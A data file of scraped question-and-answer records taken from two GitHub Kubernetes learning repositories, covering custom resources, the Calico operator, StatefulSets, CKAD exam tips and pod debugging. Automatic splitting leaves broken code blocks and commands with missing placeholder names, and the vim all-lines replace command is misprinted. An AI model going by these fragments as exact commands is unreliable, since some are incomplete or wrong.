"intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755750"}
{"id": "gh_747decec3992", "question": "How to: Lab 14.4. Custom objects", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You can follow the [official CRD tutorial](https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/).\n\n1. Create a custom resource from the snippet above\n2. Confirm a new API resource added\n3. Create a custom object of the custom resource\n   ```sh\n   apiVersion: \"stable.example.com/v1\"\n   kind: CronTab\n   metadata:\n     name: my-new-cron-object\n   spec:\n     cronSpec: \"* * * * */5\"\n     image: my-awesome-cron-image\n   ```\n4. Review all resources created and confirm the `shortName` works\n5. Directly access the Kubernetes REST API and confirm endpoints for:\n   - group `/apis/\n`\n   - version `/apis/\n/\n`\n   - plural `/apis/\n/\n/\n`\n6. Clean up by deleting with the manifest files", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755757"}
{"id": "gh_9bcd1423e286", "question": "How to: Operator pattern", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) are software extensions to Kubernetes that make use of custom resources to manage applications and their components. The operator pattern captures how you can write code to automate a task beyond what Kubernetes itself provides.\n\nKubernetes' operator pattern concept lets you extend the cluster's behaviour without modifying the code of Kubernetes itself by linking [controllers](https://kubernetes.io/docs/concepts/architecture/controller/) (a non-terminating loop, or control loop, that regulates the cluster to a desired state) to one or more custom resources. Operators are clients of the Kubernetes API that act as controllers for a Custom Resource.\n\nAlthough, you can write your own operator, majority prefer to find ready-made operators on community websites like [OperatorHub.io](https://operatorhub.io/). Many Kubernetes solutions are provided as operators like [Prometheus](https://prometheus.io/) or Tigera (calico).\n\n> This lab requires the Calico plugin. You will need to delete and start a new cluster if your current one doesn't support Calico", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755766"}
{"id": "gh_b563d4eee35f", "question": "How to: Lab 14.5. Operators", "question_body": "About piouson/kubernetes-bootcamp", "answer": "See the [official Calico install steps](https://projectcalico.docs.tigera.io/getting-started/kubernetes/minikube).\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755770"}
{"id": "gh_6994e7f01f44", "question": "How to: 1. start a new cluster with network `192.168.0.0/16` or `10.10.0.0/16` whichever subnet is free in your network", "question_body": "About piouson/kubernetes-bootcamp", "answer": "minikube start --kubernetes-version=1.23.9 --network-plugin=cni --extra-config=kubeadm.pod-network-cidr=10.10.0.0/16", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755774"}
{"id": "gh_fe1b348d2c1c", "question": "How to: 2. install tigera calico operator", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.24.0/manifests/tigera-operator.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755778"}
{"id": "gh_3eed379bc39c", "question": "How to: 3. install custom resource definitions", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.24.0/manifests/custom-resources.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755782"}
{"id": "gh_81ac44d3fcaf", "question": "How to: you can use wget to view a file without saving", "question_body": "About piouson/kubernetes-bootcamp", "answer": "wget -O- https://url/to/file | less\nwget -qO- https://url/to/file | less # quiet mode\n```\n\n1. Start a Minikube cluster with the `cni` network plugin and a suitable subnet\n2. List existing namespaces\n3. Install the Tigera Calico operator\n4. Confirm resources added:\n   - new API resources for `tigera`\n   - new namespaces\n   - resources in the new namespaces\n5. Review the CRDs manifest file and ensure matching `cidr`, then install\n6. Confirm resources added:\n   - new `Installation` resource\n   - new namespaces\n   - resources in the new namespaces (Calico Pods take awhile to enter `Running` status)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755788"}
{"id": "gh_7c00f79005db", "question": "How to: StatefulSets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[StatefulSet](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) is similar to Deployments but provides guarantees about the ordering and uniqueness of managed Pods. Unlike Deployments, StatefulSet Pods are not interchangeable: each has a persistent identifier and storage volume that it maintains across any rescheduling.\n\n#### Using StatefulSets\n\nStatefulSets are valuable for applications that require one or more of the following.\n\n- Stable - persistence across Pod (re)scheduling, unique network identifiers.\n- Stable, persistent storage.\n- Ordered, graceful deployment and scaling.\n- Ordered, automated rolling updates.\n\n#### Limitations of StatefulSets\n\n- Storage must either be provisioned by a [PersistentVolume Provisioner](https://github.com/kubernetes/examples/tree/master/staging/persistent-volume-provisioning/README.md) based on StorageClass, or pre-provisioned by an admin\n- To ensure data safety, deleting and/or scaling a StatefulSet down will not delete associated volumes\n- You are responsible for creating a [Headless Service](https://kubernetes.io/docs/concepts/services-networking/service/#headless-services) to provide network access to the Pods\n- To achieve ordered and graceful termination of Pods, scale the StatefulSet down to 0 prior to deletion\n- It's possible to get into a broken state that requires [manual repair](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#forced-rollback) when using [Rolling Updates](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#rolling-updates) with the default [Pod Management Policy](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#pod-management-policies) (`OrderedReady`)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755795"}
{"id": "gh_84acfeafe900", "question": "How to: Lab 14.6. Components of a StatefulSet", "question_body": "About piouson/kubernetes-bootcamp", "answer": "See the [example manifest](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#components)\n\n1. Create a StatefulSet based on the example manifest\n2. Verify resources created and compare to a regular deployment\n3. Confirm persistent volume claims created", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755800"}
{"id": "gh_5a53d4018090", "question": "How to: Task - Helm", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Coming soon, accepting pull-requests", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755804"}
{"id": "gh_28ab5e9aaa07", "question": "How to: Exam simulation", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The _Tasks_ provided in this bootcamp require more time to solve than standard exam question, which makes them more difficult. Therefore, you can simulate an exam by completing all _Tasks_ under 2 hours.\n\nIn addition, after paying for the exam, you will be provided access to an exam simulation from [Killer.sh](https://killer.sh/) which you can attempt twice. The simulation environment will be similar to the exam environment, and the questions are also similar in difficulty to exam questions. However, you will need to solve about 20 questions in the same time, which makes the simulation more difficult.\n\nIf you are able to complete all 16 _Tasks_ provided here under 2 hours, you will find that you are also able to complete Killer exam simulation under 2 hours. This is all the confidence you need to pass your CKAD exam, you really don't need anything else.\n\nRemember to use the rest of the tips below during your simulation!\n\n> Tasks: [Docker image](#task---docker-image) | [Pods](#task---pods) | [Pods II](#task---pods-ii) | [CronJobs](#task---cronjobs) | [Resources and Security Context](#task---resources-and-security-context) | [Deployment](#task---deployment) | [Service](#task---service) | [Service II](#task---service-ii) | [Ingress](#task---ingress) | [Network policy](#task---network-policy) | [Persistent volumes](#task---persistent-volumes) | [ConfigMap and Secrets](#task---configmap-and-secrets) | [Probes](#task---probes) | [Zero Downtime Updates](#task---zero-downtime-updates) | [Service account](#task---service-account) | [Helm](#task---helm)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755811"}
{"id": "gh_2f0e3edec1a7", "question": "How to: Environment setup", "question_body": "About piouson/kubernetes-bootcamp", "answer": "As soon as your exam starts, you will want to setup `kubectl` and your chosen text editor as follows:\n\n1. Setup `kubectl`\n   ```sh\n   alias k=kubectl # this is usually preconfigured in exam\n   export dr=\"--dry-run=client -oyaml\"\n   ```\n2. Setup text editor\n   ```sh\n   # vim\n   printf \"set tabstop=2\\nset shiftwidth=2\\nset expandtab\" > ~/.vimrc\n   # nano\n   printf \"set tabsize 2\\nset tabstospaces\" > ~/.nanorc\n   ```\n\nQuestions use different Clusters and different Namespaces. Therefore, for each question:\n\n1. Make sure you always run the command to switch to the Cluster for that question - command will be provided\n2. Create a variable for the question's Namespace `ns=$QUESTION_NAMESPACE` to make things easy for yourself\n3. Do not assume the default Namespace is `default`, always set and use your variable `ns=default`\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755817"}
{"id": "gh_b742d7b070ce", "question": "How to: example using variable/alias", "question_body": "About piouson/kubernetes-bootcamp", "answer": "k create deploy webapp --image=nginx:alpine $dr $ns > 2.yml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755821"}
{"id": "gh_2e91de8b5210", "question": "How to: Commandline copy-paste", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Remember that copy/paste works different in a terminal:\n\n- Copy - right click on mouse or two finger tap on touchpad (or check your touchpad settings if different)\n- Paste - right click on mouse or two finger tap on touchpad", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755826"}
{"id": "gh_598e2da37d80", "question": "How to: Text editor proficiency", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Get familiar with your text editor to improve your speed:\n\n1. Use search and replace for bulk changes (assume `^C = Ctrl+C` and `M-C = Alt+C`)\n   - vim:\n     1. `:s/foo/bar/g` - find each `foo` in current line and replace with `bar`\n     2. `:s/foo/bar/g` - find each `foo` in all lines and replace with `bar`  \n   - nano:\n     1. press keyboard `^\\`\n     2. type search word and hit `Enter`\n     3. type replacement word and hit `Enter`\n     4. press `Y` to replace a match, `N` to skip a match, `A` to replace all matches\n2. Indent multiple lines using markers - in many situations, you might want to copy Pod YAML into a Deployment YAML or vice-versa\n   - vim (indent size = `shiftwidth`):\n     1. move cursor to the start/end of lines\n     2. press keyboard `V` to enter visual mode\n     3. press arrow keys up/down/left/right to highlight text in arrow direction\n     4. to indent highlighted text forwards, press `>` to indent once, or `3>` to indent 3 times\n     5. to indent highlighted text backwards, press `<` to indent once, or `4<` to indent 4 times\n   - nano (indent size = `tabsize`):\n     1. move cursor to the start/end of lines\n     2. press keyboard `M-A` to set mark\n     3. press arrow up/down/left/right to highlight text in arrow direction\n     4. to indent highlighted text, press `TAB` to indent forwards or `SHIFT+TAB` to indent backwards\n     5. press keyboard `M-A` again to unset mark\n3. Undo/Redo\n   - vim: in normal mode `:undo` to undo last change, `^R` to redo\n   - nano: `M-U` to undo, `M-E` to redo\n\n> This is not a bootcamp on `vim` or `nano`, there are more flashy magic you can achieve with these tools, especially `vim`, but the above should get you through CKAD!", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755834"}
{"id": "gh_b1321d5c13bd", "question": "How to: Exam questions approach", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Do not begin your exam from Question 1! Each question has a _Task Weight_ and you should aim to complete higher score questions first.\n\nWhen your exam starts, and after going through the other setup above, you will want to **review all your questions** to create a _question-to-score-grid_ to help you decide the best order to answer them. See the scenarios below:\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755840"}
{"id": "gh_2592600b730f", "question": "How to: Start from Q11-Q19, then Q4-Q10, then Q1-Q3", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\nStore the grid in a Text Editor. When you encounter a troublesome question and its been more than 5mins without a clear idea of solution, update the question on the grid with an asterix and move on. Trust me, you do not want to waste additional 2mins on a question you will fail when you can answer another question in the same time!\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755848"}
{"id": "gh_f929df4ad399", "question": "How to: update troublesome questions with * and return to them after completing all other questions", "question_body": "About piouson/kubernetes-bootcamp", "answer": "4 4 4 8 4\n8 4 4 8* 8\n4 8 8* 8 8\n8\n```\n\nBest of luck :+1: and please star [this repo](https://github.com/piouson/kubernetes-bootcamp) to say thank you!", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755853"}
{"id": "gh_82125c106001", "question": "How to: What happens when a master fails? What happens when a worker fails?", "question_body": "About hubt/kubernetes-faq", "answer": "Kubernetes is designed to be resilient to any individual node failure, master or worker. When a master fails the nodes of the cluster will keep operating, but there can be no changes including pod creation or service member changes until the master is available. When a worker fails, the master stops receiving messages from the worker. If the master does not receive status updates from the worker the node will be marked as NotReady. If a node is NotReady for 5 minutes, the master reschedules all pods that were running on the dead node to other available nodes.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001616"}
{"id": "gh_918237d64c79", "question": "How to: How does DNS work in Kubernetes?", "question_body": "About hubt/kubernetes-faq", "answer": "There is a DNS server called skydns which runs in a pod in the cluster, in the `kube-system` namespace. That DNS server reads from etcd and can serve up dns entries for Kubernetes services to all pods. You can reach any service with the name `\n.\n.svc.cluster.local`. The resolver automatically searches `\n.svc.cluster.local` dns so that you should be able to call one service to another in the same namespace with just `\n`.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001630"}
{"id": "gh_e0aeabcc00d3", "question": "How to: How do I build a High Availability (HA) cluster?", "question_body": "About hubt/kubernetes-faq", "answer": "The only stateful part of a Kubernetes cluster is the etcd. The master server runs the controller manager, scheduler, and the API server and can be run as replicas. The controller manager and scheduler in the master servers use a leader election system, so only one controller manager and scheduler is active for the cluster at any time. So an HA cluster generally consists of an etcd cluster of 3+ nodes and multiple master nodes.\n\nLearn more: http://kubernetes.io/docs/admin/high-availability/#master-elected-components", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001638"}
{"id": "gh_936212cf7ae3", "question": "How to: Can I isolate namespaces from each other?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes, network policies allow you to isolate namespaces at the network layer. Full isolation requires use of an overlay network such as Flannel, Calico, Weave, or Romana. \nhttp://kubernetes.io/docs/user-guide/networkpolicies/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001644"}
{"id": "gh_f3456294c80b", "question": "How to: Should I use Replication Controllers?", "question_body": "About hubt/kubernetes-faq", "answer": "Probably not, they are older and have fewer features than the newer Deployment objects.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001650"}
{"id": "gh_085726ecaf42", "question": "How to: How do I determine the status of a Deployment?", "question_body": "About hubt/kubernetes-faq", "answer": "Use `kubectl get deployment\n`. If the `DESIRED`, `CURRENT`, `UP-TO-DATE` are all equal, then the Deployment has completed.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001655"}
{"id": "gh_6eee016433de", "question": "How to: How do I update all my pods if the image changed but the tag is the same", "question_body": "About hubt/kubernetes-faq", "answer": "Make sure your `imagePullPolicy` is set to `Always`(this is the default). That means when a pod is deleted, a new pod will ensure it has the current version of the image. Then refresh all your pods. \n\nThe simplest way to refresh all your pods is to just delete them and they will be recreated with the latest image. This immediately destroys all your pods which will cause a service outage. Do this with `kubectl delete pod -l\n=\n` where name and value are the label selectors your deployment uses. \n\nA better way is to edit your deployment and modify the deployment pod spec to add or change any annotation. This will cause all your pods to be deleted and rescheduled, but this method will also obey your `rollingUpdate` strategy, meaning no downtime assuming your `rollingUpdate` strategy already behaves properly. Setting a timestamp or a version number is convenient, but any change to pod annotations will cause a rolling update. For a deployment named nginx, this can be done with:\n```\nPATCH='{\"spec\":{\"template\":{\"metadata\":{\"annotations\":{\"timestamp\":\"'$(date)'\"}}}}}'\nkubectl patch deployment nginx -p \"$PATCH\"\n```\n\nIt is considered bad practice to rely on the `:latest` docker image tag in your deployments, because using `:latest` there is no way to rollback or specify what version of your image to use. It's better to update the deployment with an exact version of the image and use `--record` so that you can use `kubectl rollout undo deployment\n` or other commands to manage rollouts.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001664"}
{"id": "gh_c31c2c553215", "question": "How to: How do I debug a Pending pod?", "question_body": "About hubt/kubernetes-faq", "answer": "A `Pending` pod is one that cannot be scheduled onto a node.  Doing a `kubectl describe pod\n` will usually tell you why. `kubectl logs\n` can also be helpful. There are several common reasons for pods stuck in Pending:\n\n** The pod is requesting more resources than are available, a pod has set a `request` for an amount of CPU or memory that is not available anywhere on any node. eg. requesting a 8 CPU cores when all your nodes only have 4 CPU cores. Doing a `kubectl describe node\n` on each node will also show already requested resources.\n** There are `taint`s that prevent a pod from scheduling on your nodes. \n** The nodes have been marked unschedulable with `kubectl cordon`\n** There are no `Ready` nodes. `kubectl get nodes` will display the status of all nodes.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001672"}
{"id": "gh_219253991f67", "question": "How to: How do I debug a ContainerCreating pod?", "question_body": "About hubt/kubernetes-faq", "answer": "A `ContainerCreating` pod is one that has been scheduled on a node, but cannot startup properly. Doing a `kubectl describe pod\n` will usually tell you why. Common reasons include:\n\n** Container Networking Interface(CNI) errors are preventing the pod networking from being setup properly. Flannel and weave versions or configuration can sometimes cause this.\n** Volume mounts failures are preventing startup. External volumes like EBS or GCE PD sometimes cannot be properly attached to the node.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001678"}
{"id": "gh_438d0acb6549", "question": "How to: How do I debug a CrashLoopBackoff pod?", "question_body": "About hubt/kubernetes-faq", "answer": "This is the standard error message when a pod fails with an error. `kubectl describe pod\n` usually doesn't provide much helpful information, but `kubectl logs\n` would show the stdout from the pod during the most recent execution attempt. Another helpful technique is to change the `spec.containers.command` for your pod to `bash -c '\n|| sleep 10d'`. This will start your container and then if it exits with a non-zero error code it will sleep for 10 days. This will enable you then use `kubectl exec -it\n-- bash` to enter a shell in the container while it is still running but after the main command has exited so that you can debug it.\n\nAnother common reason is that a node is failing its health check and has been killed by Kubernetes. The pod will generally restart itself after some period of time(a backoff time, hence the CrashLoopBackoff), on the same node. A CrashLoopBackoff does not move a pod to a new node.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001686"}
{"id": "gh_fbe52bcf97f0", "question": "How to: How do I rollback a Deployment?", "question_body": "About hubt/kubernetes-faq", "answer": "If you apply a change to a Deployment with the `--record` flag then Kubernetes stores the previous Deployment in its history. The `kubectl rollout history deployment\n` command will show prior Deployments. The last Deployment can be restored with the `kubectl rollout undo deployment\n` command. In progress Deployments can also be paused and resumed. \n\nWhen a new version of a Deployment is applied, a new ReplicaSet object is created which is slowly scaled up while the old ReplicaSet is scaled down. You can look at each ReplicaSet that has been rolled out with `kubectl get replicaset`. Each ReplicaSet is named with the format\n-\n, so you can also do `kubectl describe replicaset\n`.\n\nLearn more: http://kubernetes.io/docs/user-guide/kubectl/kubectl_rollout/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001699"}
{"id": "gh_6dd58e30fc6d", "question": "How to: What is a DaemonSet?", "question_body": "About hubt/kubernetes-faq", "answer": "A DaemonSet is a set of pods that is run only once on a host. It's used for host-layer features, for instance a network, host monitoring or storage plugin or other things which you would never want to run more than once on a host. \n\nLearn more: http://kubernetes.io/docs/admin/daemons/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001705"}
{"id": "gh_379012184834", "question": "How to: What is a PetSet or StatefulSet?", "question_body": "About hubt/kubernetes-faq", "answer": "In a regular Deployment all the instances of a pod are exactly the same, they are indistinguishable and are thus sometimes referred to as \"cattle\", these are typically stateless applications that can be easily scaled up and down. In a PetSet, each pod is unique and has an identity that needs to be maintained. This is commonly used for more stateful applications like databases. \n\nLearn more: http://kubernetes.io/docs/user-guide/petset/\n\nIn 1.5, PetSets have been renamed to Stateful Sets\n\nLearn more: http://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001712"}
{"id": "gh_ab55f0807038", "question": "How to: What is an Ingress Controller?", "question_body": "About hubt/kubernetes-faq", "answer": "An Ingress Controller is a pod that can act as an inbound traffic handler. It is a HTTP reverse proxy that is implemented as a somewhat customizable nginx. Among the features are HTTP path and service based routing and SSL termination. \n\nLearn more: http://kubernetes.io/docs/user-guide/ingress/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001717"}
{"id": "gh_f2e7d06f231a", "question": "How to: Why do I see 504 errors from my Ingress during deploys?", "question_body": "About hubt/kubernetes-faq", "answer": "This occurs due to a race condition during pod deletion between the Ingress and the pod. When a pod is deleted, it can shut down before the Ingress knows to stop sending traffic. So the Ingress may continue to send traffic to a disabled pod.\n\nThe simplest way to avoid this is to prevent the pod from shutting down immediately with a `preStop` hook. Adding in a `preStop` hook to the deployment which does `sleep 5` should delay the pod termination long enough to let the Ingress update and remove the disabled pod from its upstream list.\n\nhttps://github.com/kubernetes/kubernetes/issues/43576\nhttps://github.com/kubernetes/ingress/issues/322\nhttps://github.com/kubernetes/contrib/issues/1140\nhttps://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001725"}
{"id": "gh_9fd26d43770c", "question": "How to: How does a Kubernetes service work?", "question_body": "About hubt/kubernetes-faq", "answer": "Within the cluster, most Kubernetes services are implemented as a virtual IP called a ClusterIP. A ClusterIP has a list of pods which are in the service, the client sends IP traffic directly to a randomly selected pod in the service, so the ClusterIP isn't actually directly routable even from kubernetes nodes. This is all done with iptables routes. The iptables configuration is managed by the kube-proxy on each node. So only nodes running kube-proxy can talk to ClusterIP members. An alternative to the ClusterIP is to use a \"Headless\" service by specifying ClusterIP=None, this does not use a virtual IP, but instead just creates a DNS A record for a service that includes all the IP addresses of the pods. The live members of any service are stored in an API object called an `endpoint`. You can see the members of a service by doing a `kubectl get endpoints\n`", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001732"}
{"id": "gh_49e142e0eb6d", "question": "How to: How do I expose a service to a host outside the cluster?", "question_body": "About hubt/kubernetes-faq", "answer": "There are two ways:\n\n1. Set the service type to NodePort. This makes every node in the cluster listen on the specified NodePort, then any node will forward traffic from that NodePort to a random pod in the service.\n1. Set the service type to LoadBalancer. This provisions a NodePort as above, but then does an additional step to provision a load balancer in your cloud(AWS or GKE) automatically. In AWS it also modifies the Auto-Scaling Group of the cluster so all nodes of that ASG are added to the ELB.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001739"}
{"id": "gh_162243d71669", "question": "How to: How does a LoadBalancer service work?", "question_body": "About hubt/kubernetes-faq", "answer": "A LoadBalancer by default is set up as a TCP Load Balancer with your cloud provider (AWS or GKE). There is no support in bare metal or OpenStack for Load Balancer types. The Kubernetes controller manager provisions a load balancer in your cloud and puts all of your Kubernetes nodes into the load balancer. Because each node is assumed to be running `kube-proxy` it should be listening on the appropriate NodePort and then it can forward incoming requests to a pod that is available for the service.\n\nBecause the LoadBalancer type is by default TCP, not HTTP many higher level features of a LoadBalancer are not available. For instance health checking from the LoadBalancer to the node is done with a TCP check. HTTP X-Forwarded-For information is not available, though it is possible to use proxy protocol in AWS.\n\nhttp://kubernetes.io/docs/user-guide/services/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001747"}
